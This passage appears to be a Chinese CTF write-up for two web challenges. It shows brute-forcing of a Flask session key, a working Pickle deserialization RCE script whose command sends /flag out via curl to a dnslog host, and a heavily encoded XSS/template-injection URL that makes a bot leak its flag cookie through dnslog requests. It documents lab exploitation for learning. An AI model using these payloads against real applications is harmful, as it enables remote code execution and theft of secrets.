↳ 'Cookie:
↳ session=MTcwNzM2MTUzOHxEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWF
↳ --data-raw '{"id":1,"username":"ma5hr00m"}'; done

```

myflask

先暴力枚举 session key。

```

for i in $(seq -w 094300 095000); do echo $i; python ./flask_session_cookie_manager3.py
↳ decode -s $i -c "eyJ1c2VybmFtZSI6ImdkZXN0In0.ZcQ1nQ.eEdEPiB4IGcNhYrZB6n0yNffZO8";
↳ done

```

Pickle 的 RCE 一搜就有，拖个 payload 下来。

```

#!/usr/bin/python
#
# Pickle deserialization RCE exploit
# calfcruiser@inventati.org
#
# Usage: ./Pickle-PoC.py [URL]

import pickle
import base64
import requests
import sys

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))
# class PickleRCE(object):
#     def __reduce__(self):
#         import os
#         return "command"

default_url = 'http://106.14.57.14:32512/flag'
url = default_url
command = 'curl `cat /flag`.s8e2v8wg.dnslog.pw' # Reverse Shell Payload Change IP/PORT
pickled = 'pickle_data' # This is the POST parameter of our vulnerable Flask app
session="eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcQ3ZQ.7vbuJhvRrw5MMlTsrBMjrYJmusA"
cookie={'session': session}
payload = base64.b64encode(pickle.dumps(PickleRCE())) # Crafting Payload

```

```
# payload = base64.b64encode(pickle.dumps("wtf")) # Crafting Payload
p=requests.post(url, data={pickled: payload}, cookies=cookie) # Sending POST request
print("send")
print(p.text)
```

梅开二度

先分析一手。只有 bot 访问 /flag 会将 flag 通过 Cookie 传给 flag。

我们能够控制 bot 访问到的网页。

考虑 xss, 多次跳转并通过 dnslog 带出内容。

```
curl -vv 'http://106.14.57.14:31304/bot?url=http%3A%2F%2F127%2E0%2E0%2E1%3A8080%2F%3Ftmpl%3D%7B%7B%2EQuery%2520%60a%60%7D%7D%26a%3D%253Cscript%253Ewindow%252Eonload%2520%253D%2520%2528%2529%253D%253E%257B%2520window%252Elocation%252Ehref%253D%2522http%253A%252F%252F127%252E0%252E0%252E1%253A8080%253Ftmpl%253D%257B%257B%252EQuery%252520%2560a%2560%257D%257D%257B%257B%252ECookie%252520%2560flag%2560%257D%257D%257B%257B%252EQuery%252520%2560b%2560%257D%257D%2526a%253D%25253Cscript%25253Ewindow%25252Eonload%252520%25253D%252520%252528%252529%25253D%25253E%25257B%252520b%25253Ddocument%25252Ebody%25252EinnerHTML%25253B%252520window%25252Elocation%25252Ehref%25253D%252527http%25253A%25252F%25252F%252527%252520%25252B%252520b%25252Etrim%252528%252529%25252Esubstr%25252841%25252C5%252529%252520%25252B%252520%252527%25252Es8e2v8wg%25252Ednslog%25252Epw%252527%25253B%25257D%25253B%25253C%25252Fscript%25253E%25253Cbody%25253E%2526b%253D%25253C%25252Fbody%25253E%2522%253B%2520%257D%253C%252Fscript%253E%253Cimg%2520src%253D%2522http%253A%252F%252F127%252E0%252E0%252E1%253A8080%252Fflag%2522%252F%253E
```

其中一个坑是 flag 有点小长, 可以一点一点带出来。